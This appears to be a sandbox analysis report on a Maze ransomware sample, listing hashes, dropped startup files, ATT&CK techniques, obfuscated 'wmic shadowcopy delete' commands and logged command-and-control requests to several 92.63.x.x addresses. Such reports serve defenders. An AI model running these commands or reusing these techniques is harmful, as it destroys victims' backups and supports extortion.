maze | d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125

Analysis

max time kernel
150s
max time network
146s
platform
windows10_x64
resource
win10
submitted
24/06/2020, 13:14 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
Size

351KB
MD5

391370b48b8f64f86c628742b03de53a
SHA1

0c4ef4daef2458ae999d2d3bf3ee837491369a25
SHA256

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125
SHA512

62527b56eb597c1a177f154793f0734ed3e54df7dfd36e619f07a44cee2e22190920fbd15d34a5c8fcdd54853cbad95a797c6fbadc0f5f19ddf25b13945b4adf

Score

10^/10

trojan ransomware maze persistence spyware

Malware Config

Signatures

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.html	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ode0ac.dat	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.html	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\ode0ac.dat	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Suspicious use of AdjustPrivilegeToken 87 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3016	wmic.exe
Token: SeSecurityPrivilege	3016	wmic.exe
Token: SeTakeOwnershipPrivilege	3016	wmic.exe
Token: SeLoadDriverPrivilege	3016	wmic.exe
Token: SeSystemProfilePrivilege	3016	wmic.exe
Token: SeSystemtimePrivilege	3016	wmic.exe
Token: SeProfSingleProcessPrivilege	3016	wmic.exe
Token: SeIncBasePriorityPrivilege	3016	wmic.exe
Token: SeCreatePagefilePrivilege	3016	wmic.exe
Token: SeBackupPrivilege	3016	wmic.exe
Token: SeRestorePrivilege	3016	wmic.exe
Token: SeShutdownPrivilege	3016	wmic.exe
Token: SeDebugPrivilege	3016	wmic.exe
Token: SeSystemEnvironmentPrivilege	3016	wmic.exe
Token: SeRemoteShutdownPrivilege	3016	wmic.exe
Token: SeUndockPrivilege	3016	wmic.exe
Token: SeManageVolumePrivilege	3016	wmic.exe
Token: 33	3016	wmic.exe
Token: 34	3016	wmic.exe
Token: 35	3016	wmic.exe
Token: 36	3016	wmic.exe
Token: SeIncreaseQuotaPrivilege	3016	wmic.exe
Token: SeSecurityPrivilege	3016	wmic.exe
Token: SeTakeOwnershipPrivilege	3016	wmic.exe
Token: SeLoadDriverPrivilege	3016	wmic.exe
Token: SeSystemProfilePrivilege	3016	wmic.exe
Token: SeSystemtimePrivilege	3016	wmic.exe
Token: SeProfSingleProcessPrivilege	3016	wmic.exe
Token: SeIncBasePriorityPrivilege	3016	wmic.exe
Token: SeCreatePagefilePrivilege	3016	wmic.exe
Token: SeBackupPrivilege	3016	wmic.exe
Token: SeRestorePrivilege	3016	wmic.exe
Token: SeShutdownPrivilege	3016	wmic.exe
Token: SeDebugPrivilege	3016	wmic.exe
Token: SeSystemEnvironmentPrivilege	3016	wmic.exe
Token: SeRemoteShutdownPrivilege	3016	wmic.exe
Token: SeUndockPrivilege	3016	wmic.exe
Token: SeManageVolumePrivilege	3016	wmic.exe
Token: 33	3016	wmic.exe
Token: 34	3016	wmic.exe
Token: 35	3016	wmic.exe
Token: 36	3016	wmic.exe
Token: SeBackupPrivilege	3144	vssvc.exe
Token: SeRestorePrivilege	3144	vssvc.exe
Token: SeAuditPrivilege	3144	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2988	wmic.exe
Token: SeSecurityPrivilege	2988	wmic.exe
Token: SeTakeOwnershipPrivilege	2988	wmic.exe
Token: SeLoadDriverPrivilege	2988	wmic.exe
Token: SeSystemProfilePrivilege	2988	wmic.exe
Token: SeSystemtimePrivilege	2988	wmic.exe
Token: SeProfSingleProcessPrivilege	2988	wmic.exe
Token: SeIncBasePriorityPrivilege	2988	wmic.exe
Token: SeCreatePagefilePrivilege	2988	wmic.exe
Token: SeBackupPrivilege	2988	wmic.exe
Token: SeRestorePrivilege	2988	wmic.exe
Token: SeShutdownPrivilege	2988	wmic.exe
Token: SeDebugPrivilege	2988	wmic.exe
Token: SeSystemEnvironmentPrivilege	2988	wmic.exe
Token: SeRemoteShutdownPrivilege	2988	wmic.exe
Token: SeUndockPrivilege	2988	wmic.exe
Token: SeManageVolumePrivilege	2988	wmic.exe
Token: 33	2988	wmic.exe
Token: 34	2988	wmic.exe
Token: 35	2988	wmic.exe
Token: 36	2988	wmic.exe
Token: SeIncreaseQuotaPrivilege	2988	wmic.exe
Token: SeSecurityPrivilege	2988	wmic.exe
Token: SeTakeOwnershipPrivilege	2988	wmic.exe
Token: SeLoadDriverPrivilege	2988	wmic.exe
Token: SeSystemProfilePrivilege	2988	wmic.exe
Token: SeSystemtimePrivilege	2988	wmic.exe
Token: SeProfSingleProcessPrivilege	2988	wmic.exe
Token: SeIncBasePriorityPrivilege	2988	wmic.exe
Token: SeCreatePagefilePrivilege	2988	wmic.exe
Token: SeBackupPrivilege	2988	wmic.exe
Token: SeRestorePrivilege	2988	wmic.exe
Token: SeShutdownPrivilege	2988	wmic.exe
Token: SeDebugPrivilege	2988	wmic.exe
Token: SeSystemEnvironmentPrivilege	2988	wmic.exe
Token: SeRemoteShutdownPrivilege	2988	wmic.exe
Token: SeUndockPrivilege	2988	wmic.exe
Token: SeManageVolumePrivilege	2988	wmic.exe
Token: 33	2988	wmic.exe
Token: 34	2988	wmic.exe
Token: 35	2988	wmic.exe
Token: 36	2988	wmic.exe

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 3016	2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe	67
PID 2728 wrote to memory of 3016	2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe	67
PID 2728 wrote to memory of 2988	2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe	72
PID 2728 wrote to memory of 2988	2728	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe	72

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\123456789.bmp"	d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

C:\Users\Admin\AppData\Local\Temp\d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe
"C:\Users\Admin\AppData\Local\Temp\d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
PID:2728
- C:\Windows\system32\wbem\wmic.exe
  "C:\e\..\Windows\lf\..\system32\owj\cdic\nngq\..\..\..\wbem\qdp\tard\..\..\wmic.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\system32\wbem\wmic.exe
  "C:\wg\u\iymu\..\..\..\Windows\weokv\mouoy\vsg\..\..\..\system32\pe\lfwu\..\..\wbem\wbhic\..\wmic.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2988

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:3144

Network

POST

http://92.63.17.245/support/sjjydva.do?lk=vtkkm7&udf=65ig&ap=v246ub5j1&apno=w3w63b

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Remote address:

92.63.17.245:80

Request

POST /support/sjjydva.do?lk=vtkkm7&udf=65ig&ap=v246ub5j1&apno=w3w63b HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Host: 92.63.17.245
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily

Server: nginx
Date: Wed, 24 Jun 2020 13:47:28 GMT
Content-Type: text/html
Content-Length: 138
Location: http://92.63.17.245/?lk=vtkkm7&udf=65ig&ap=v246ub5j1&apno=w3w63b
Connection: keep-alive
Keep-Alive: timeout=20
POST

http://92.63.32.55/check/prkvsjplsr.phtml?k=1xpbq0&kf=xf2

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Remote address:

92.63.32.55:80

Request

POST /check/prkvsjplsr.phtml?k=1xpbq0&kf=xf2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Host: 92.63.32.55
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
Connection: Keep-Alive

Response

HTTP/1.1 500 Internal Server Error

Server: nginx
Date: Wed, 24 Jun 2020 13:47:28 GMT
Content-Type: text/html
Content-Length: 186
Connection: close
POST

http://92.63.17.245/logout/transfer/yymdgpad.html?qvki=2ulx11&wsv=n3q7&cu=l5lc&g=5326572

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Remote address:

92.63.17.245:80

Request

POST /logout/transfer/yymdgpad.html?qvki=2ulx11&wsv=n3q7&cu=l5lc&g=5326572 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Host: 92.63.17.245
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily

Server: nginx
Date: Wed, 24 Jun 2020 13:47:46 GMT
Content-Type: text/html
Content-Length: 138
Location: http://92.63.17.245/?qvki=2ulx11&wsv=n3q7&cu=l5lc&g=5326572
Connection: keep-alive
Keep-Alive: timeout=20
POST

http://92.63.32.55/support/support/k.shtml

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

Remote address:

92.63.32.55:80

Request

POST /support/support/k.shtml HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Host: 92.63.32.55
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: Keep-Alive

Response

HTTP/1.1 500 Internal Server Error

Server: nginx
Date: Wed, 24 Jun 2020 13:47:46 GMT
Content-Type: text/html
Content-Length: 186
Connection: close

138.128.167.210:587

110 B
46 B
1
1
92.63.8.47:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.8.47:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.8.47:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.8.47:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.32.2:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.32.2:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.37.100:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.37.100:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.194.20:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.32.2:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
127.0.0.1:47001
92.63.32.2:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.37.100:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.37.100:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.194.20:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.194.20:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.194.20:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.17.245:80

http://92.63.17.245/support/sjjydva.do?lk=vtkkm7&udf=65ig&ap=v246ub5j1&apno=w3w63b

http

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

725 B
566 B
5
4

HTTP Request

POST http://92.63.17.245/support/sjjydva.do?lk=vtkkm7&udf=65ig&ap=v246ub5j1&apno=w3w63b

HTTP Response

302
92.63.32.55:80

http://92.63.32.55/check/prkvsjplsr.phtml?k=1xpbq0&kf=xf2

http

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

700 B
509 B
5
4

HTTP Request

POST http://92.63.32.55/check/prkvsjplsr.phtml?k=1xpbq0&kf=xf2

HTTP Response

500
92.63.11.151:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.17.245:80

http://92.63.17.245/logout/transfer/yymdgpad.html?qvki=2ulx11&wsv=n3q7&cu=l5lc&g=5326572

http

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

565 B
561 B
5
4

HTTP Request

POST http://92.63.17.245/logout/transfer/yymdgpad.html?qvki=2ulx11&wsv=n3q7&cu=l5lc&g=5326572

HTTP Response

302
92.63.32.55:80

http://92.63.32.55/support/support/k.shtml

http

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

519 B
509 B
5
4

HTTP Request

POST http://92.63.32.55/support/support/k.shtml

HTTP Response

500
92.63.11.151:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.11.151:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.11.151:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.194.3:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.194.3:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
120 B
3
3
92.63.15.8:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

156 B
3
92.63.194.3:80

d65fa9ed1220cfa12d22239ca62a4b5978bb613090fc1dcb0cccdf191151d125.exe

239.255.255.250:1900

1.3kB
8
239.255.255.250:1900
10.10.0.255:137

netbios-ns

288 B
3
10.10.0.28:137

netbios-ns

270 B
3
10.10.0.18:137

netbios-ns

270 B
3
10.10.0.40:137

netbios-ns

270 B
3
10.10.0.20:137

netbios-ns

270 B
3
10.10.0.11:137

netbios-ns

270 B
3
10.10.0.13:137

netbios-ns

270 B
3
10.10.0.30:137

netbios-ns

270 B
3
10.10.0.35:137

netbios-ns

270 B
3
10.10.0.21:137

netbios-ns

270 B
3
10.10.0.23:137

netbios-ns

270 B
3
10.10.0.14:137

netbios-ns

270 B
3
10.10.0.25:137

netbios-ns

270 B
3
10.10.0.34:137

netbios-ns

270 B
3

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Windows 7 deprecation

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

Loading Replay Monitor...

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.